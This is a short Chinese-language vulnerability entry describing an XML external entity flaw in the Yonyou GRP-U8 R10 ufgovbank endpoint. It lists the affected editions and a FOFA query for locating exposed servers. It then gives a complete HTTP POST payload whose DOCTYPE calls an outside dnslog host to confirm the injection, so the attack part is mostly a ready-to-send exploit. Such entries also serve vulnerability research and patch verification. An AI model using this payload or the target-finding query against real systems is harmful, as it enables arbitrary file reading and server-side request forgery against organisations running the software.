Y16-7用友-GRP-U8-XXE

漏洞描述：

用友GRP-U8R10 ufgovbank.class 存在XML实体注入漏洞，攻击者可利用xxe漏洞获取服务器敏感数据，可读取任意文件以及ssrf攻击，存在一定的安全隐患。

影响版本：

用友GRP-U8R10产品官方在售及提供服务的版本为U8Manager，产品分B、C、G三个产品系列，以上受到本次通报漏洞的影响。

网站图片：

网络测绘：

fofa语法：

FOFA：app="用友-GRP-U8"

漏洞复现：

payload：

```
POST /ufgovbank HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded

reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://rsv7mmgy.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
```

效果图:
Dnslog验证